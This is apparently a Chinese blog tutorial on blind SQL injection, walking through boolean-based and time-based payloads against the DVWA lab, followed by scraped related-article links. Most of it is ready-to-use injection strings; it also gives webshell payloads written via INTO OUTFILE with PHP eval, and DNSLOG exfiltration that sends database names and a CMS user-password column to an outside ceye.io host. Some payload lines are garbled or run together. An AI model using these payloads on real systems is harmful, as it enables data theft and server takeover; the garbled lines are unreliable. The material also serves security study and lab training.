SQL Injection(Blind),即SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。目前网络上现存的SQL注入漏洞大多是SQL盲注。

0x01分类

Booleanbase(基于布尔)
布尔很明显Ture跟Fales,也就是说它只会根据你的注入信息返回Ture跟Fales,也就没有了之前的报错信息。
Timebase(基于时间)
界面返回值只有一种,true 无论输入任何值 返回情况都会按正常的来处理。加入特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否正确

0x02常用函数

1
2
3
4
5
6
7
substr()  substr(string string,num start,num length);
string为字符串;start为起始位置;length为长度。
count() 计数函数 count()函数是用来统计表中记录的一个函数,返回匹配条件的行数
select count(*) from mysql.user where id =1
ascii()返回对应字符的十进制值
length() 返回字符串长度
left() left(str, length),即:left(被截取字符串, 截取长度)

0x03手工盲注的步骤

1.判断是否存在注入,注入是字符型还是数字型
2.猜解当前数据库名
3.猜解数据库中的表名
4.猜解表中的字段名
5.猜解数据

0x04布尔盲注

1.判断注入点

1
2
3
4
1' or 1=1#
1' or 1=2#
如果注入点在order by后面,那么则可以使用判断语句来构造报错。
select 1 from te order by if(1,1,(select 1 union select 2)) limit 0,3;

2.进行数据库猜解

1
2
3
4
5
6
7
8
9
10
11
12
13
数据库长度:1' and length(database())=4 #
数据库名:
二分法猜解表:通过与ascii码对照,一位一位的得出字符
1' and ascii(substr(database(),1,1))>97# 页面返回存在
1’ and 1 1' and ascii(substr(database(),1,1))>100# 页面返回不存在 1' and ascii(substr(database(),1,1))<103# 页面返回存在 1' and ascii(substr(database(),1,1))<100# 页面返回不存在
最终发现:数据库名的第一位字符的ascii码值为 100,则得到字母d
重复上述步骤,就可以猜解出完整的数据库名dvwa了

3.猜表名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
1' and (select count(table_name) from information_schema.tables where table_schema=database())=1# 显示不存在

1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 # 显示存在
得知有 2 个表,继续使用length()函数来猜测表名的长度:
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1# 显示不存在
User
guestbook
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2 # 显示不存在
···
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # 显示存在
说明第一个表名长度为 9。
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),,1))=97 # 显示存在
User
U
99 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 # 显示存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109 # 显示存在 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 # 显示不存在 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 # 显示不存在
说明第一个表的名字的第一个字符为小写字母g。

重复上述步骤,即可猜解出两个表名guestbook、users。

4.猜解表中的字段名
首先猜解表中字段的数量:

1
2
3
4
5
6
7
8
9
10
11
12
1' and (select count(column_name) from information_schema.columns where table_name= 'users')=1 # 显示不存在

…

1' and (select count(column_name) from information_schema.columns where table_name= 'users')=8 # 显示存在
说明users表有 8 个字段。
接着挨个猜解字段名长度:
1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=1 # 显示不存在

1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=7 # 显示存在
说明users表的第一个字段为 7 个字符长度。
采用二分法,即可猜解出所有字段名。

5.猜解数据

1
同样采用二分法

0x05时间盲注

1.判断是否存在注入,注入是字符型还是数字型

1
2
1' and sleep(5) #感觉到明显延迟;
1 and sleep(5) #没有延迟;

2.猜解当前数据库名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
首先猜解数据名的长度
1' and if(length(database())=1,sleep(5),1) # 没有延迟 1' and if(length(database())=2,sleep(5),1) # 没有延迟 1' and if(length(database())=3,sleep(5),1) # 没有延迟 1' and if(length(database())=4,sleep(5),1) # 明显延迟 If函数 IF(expr1,expr2,expr3),如果expr1的值为true,则返回expr2的值,如果expr1的值为false,则返回expr3的值。
说明数据库名长度为 4 个字符。
接着采用二分法猜解数据库名:
1' and if(ascii(substr(database(),1,1))>97,sleep(5),1)# 明显延迟
… 1' and if(ascii(substr(database(),1,1))<100,sleep(5),1)# 没有延迟 1' and if(ascii(substr(database(),1,1))>100,sleep(5),1)# 没有延迟
说明数据库名的第一个字符为小写字母d。

重复上述步骤,即可猜解出数据库名

3.猜解数据库中的表名

1
2
3
4
5
6
7
8
9
10
11
12
13
首先猜解数据库中表的数量:
1' and if((select count(table_name) from information_schema.tables where table_schema=database() )=1,sleep(5),1)# 没有延迟 1' and if((select count(table_name) from information_schema.tables where table_schema=database() )=2,sleep(5),1)# 明显延迟
说明数据库中有两个表。
接着挨个猜解表名:
1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(5),1) # 没有延迟 … 1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) # 明显延迟
说明第一个表名的长度为 9 个字符。
采用二分法即可猜解出表名。

4.猜解表中的字段名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
首先猜解表中字段的数量:
1' and if((select count(column_name) from information_schema.columns where table_name= ’users’)=1,sleep(5),1)# 没有延迟 … 1' and if((select count(column_name) from information_schema.columns where table_name= ’users’)=8,sleep(5),1)# 明显延迟
说明users表中有 8 个字段。
接着挨个猜解字段名:
1' and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1,sleep(5),1) # 没有延迟 … 1' and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7,sleep(5),1) # 明显延迟
说明users表的第一个字段长度为 7 个字符。
采用二分法即可猜解出各个字段名。

5.猜解数据

1
同样采用二分法。

0x06导出Webshell

1
2
知道物理路径,且有MYSQL的ROOT权限
1' union select "<?php @eval($_GET['xxx']) ?>",2 into outfile 'C:\\phpStudy\\WWW\\123.php'#

0x07DNS注入(盲注的眼睛)

不论是bool型盲注还是时间型盲注,都需要频繁的跑请求才能够获取数据库中的值,在现代WAF的防护下,很可能导致IP被ban。我们可以结合DNSLOG完美快速的将数据取出。如遇到MySql的盲注时,可以利用内置函数load_file()来完成DNSLOG。load_file()不仅能够加载本地文件,同时也能对诸如\www.test.com这样的URL发起请求。

函数

load_file函数:加载一个文件

原理

示例

Mysql

1
2
3
4
5
1.
test' and if((select load_file(concat('\\\\',(select database()),'.fz0bj5.ceye.io\\abc'))),1,1)#
test' and if((select load_file(concat('\\\\',(select user()),'.fz0bj5.ceye.io\\abc'))),1,1)#
然后查看ceye,成功获取到了数据库名称
对于表段,由于load_file()一次只能传输一条数据,所以查询的时候需要使用limit来一个一个的解析。

1
2
3
4
5
6
7
8
2.查表名
test' and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='mkcms' limit 0,1),'.fz0bj5.ceye.io\\abc'))),1,1)#
3.查字段
test' and if((select load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='mkcms_user' limit 0,1),'.fz0bj5.ceye.io\\abc'))),1,1)#
4.查字段值
test' and if((select load_file(concat('\\\\',(select u_password from mkcms_user limit 0,1),'.fz0bj5.ceye.io\\abc'))),1,1)#
5.导出webshell(知道物理路径且Mysql为root权限)
test' union select "<?php @eval($_POST['wade']); ?>" into outfile 'C:\\phpstudy\\www\\wade.php'#

SQL Injection(Blind)的更多相关文章

  1. DVWA靶场之SQL injection(blind)通关

    盲注,顾名思义,无法从界面上直接查看到执行结果,一般的SQL注入基本绝迹,最多的就是盲注 基本步骤:(由于没有回显了,相比一般的SQL注入,也就不需要确定查询字段数.判断回显位置了) 判断注入类型 破 ...

  2. DVWA全级别之SQL Injection(SQL注入)

    DVWA全级别之SQL Injection(注入)   DVWA简介 DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web ...

  3. SQL Injection(SQL注入漏洞)

    审计前准备: 1.安�php程序(推荐phpStudy) 2.高亮编辑器(推荐 Sublimetext Notepad++) 3.新建一个文本,复制以下变量,这些变量是审计中需要在源码中寻找的 ### ...

  4. Fortify漏洞之Sql Injection(sql注入)

    公司最近启用了Fortify扫描项目代码,报出较多的漏洞,安排了本人进行修复,近段时间将对修复的过程和一些修复的漏洞总结整理于此! 本篇先对Fortify做个简单的认识,同时总结一下sql注入的漏洞! ...

  5. sql事务(Transaction)用法介绍及回滚实例

    sql事务(Transaction)用法介绍及回滚实例 事务(Transaction)是并发控制的单位,是用户定义的一个操作序列.这些操作要么都做,要么都不做,是一个不可分割的工作单位.通过事务, S ...

  6. 【腾讯云的1001种玩法】在腾讯云上创建您的SQL Cluster(5)

    版权声明:本文由李斯达 原创文章,转载请注明出处: 文章原文链接:https://www.qcloud.com/community/article/97264001482830465 来源:腾云阁 h ...

  7. SQL Server(六)——索引、视图和SQL编程

    1.索引 添加索引,设计界面,在任何一列前右键--索引/键--点击进入添加某一列为索引 2.视图 视图就是我们查询出来的虚拟表 创建视图:create view 视图名 as SQL查询语句,分组,排 ...

  8. SQL总结(一)基本查询

    SQL总结(一)基本查询 SQL查询的事情很简单,但是常常因为很简单的事情而出错.遇到一些比较复杂的查询我们更是忘记了SQL查询的基本语法. 本文希望通过简单的总结,把常用的查询方法予以总结,希望能够 ...

  9. SQL总结(二)连表查询

    ---恢复内容开始--- SQL总结(二)连表查询 连接查询包括合并.内连接.外连接和交叉连接,如果涉及多表查询,了解这些连接的特点很重要. 只有真正了解它们之间的区别,才能正确使用. 1.Union ...

随机推荐

  1. log1p和expm1

    在数据预处理时首先可以对偏度比较大的数据用log1p函数进行转化,使其更加服从高斯分布,此步处理可能会使我们后续的分类结果得到一个更好的结果:平滑处理很容易被忽略掉,导致模型的结果总是达不到一定的标准 ...

  2. php类知识---trait特性

    #由于php类只支持单一继承,但我们又需要使用一些类的优秀特性,因此有了trait <?php trait cpc #trait 下的方法只能用public { function trainni ...

  3. Shell操作

    Shell 1. 我们无法直接和内核打交道,Shell就是用来解释命令,用来和内核打交道用的. 2. Shell有不同形式(同样命令在不同shell中不一定通用):cshell.bash.kshell ...

  4. javascript类型判断最佳实践

    javascript有8种数据类型 值类型 Number Null Undefined String Symbol Boolean BigInt 引用类型 Object Array Function ...

  5. 2019牛客暑期多校训练营(第三场)F 单调队列

    题意 给一个\(n\times n\)的矩阵,找一个最大的子矩阵使其中最大值与最小值的差小于等于\(m\). 分析 枚举子矩阵的上下边界,同时记录每一列的最大值和最小值. 然后枚举右边界,同时用两个单 ...

  6. Charles中文破解版下载安装及使用教程

    下载地址:https://pan.baidu.com/s/1praYZAw23psZLi59hKJjqw 一. 简介及安装 Charles 是在 PC 端常用的网络封包截取工具,但它不仅仅能在pc端使 ...

  7. [题解] [ZJOI2014] 力

    题面 题解 恩, 我们首先有这两个关系 \[ \displaystyle\begin{aligned} F_j &= \sum_{i < j}\frac{q_iq_j}{(i - j)^ ...

  8. 十大经典排序算法最强总结(含JAVA代码实现)(转)

    十大经典排序算法最强总结(含JAVA代码实现)   最近几天在研究排序算法,看了很多博客,发现网上有的文章中对排序算法解释的并不是很透彻,而且有很多代码都是错误的,例如有的文章中在“桶排序”算法中对每 ...

  9. [Java]手动构建表达式二叉树,求值,求后序表达式

    Inlet类,这颗二叉树是”人力运维“的: package com.hy; public class Inlet { public static void main(String[] args) th ...

  10. 使用微软易升安装纯净版win10

    1.打开官方网址 https://www.microsoft.com/zh-cn/software-download/windows10 2.下载工具 3.根据你的需求,我这里是给另外以外机器安装,一 ...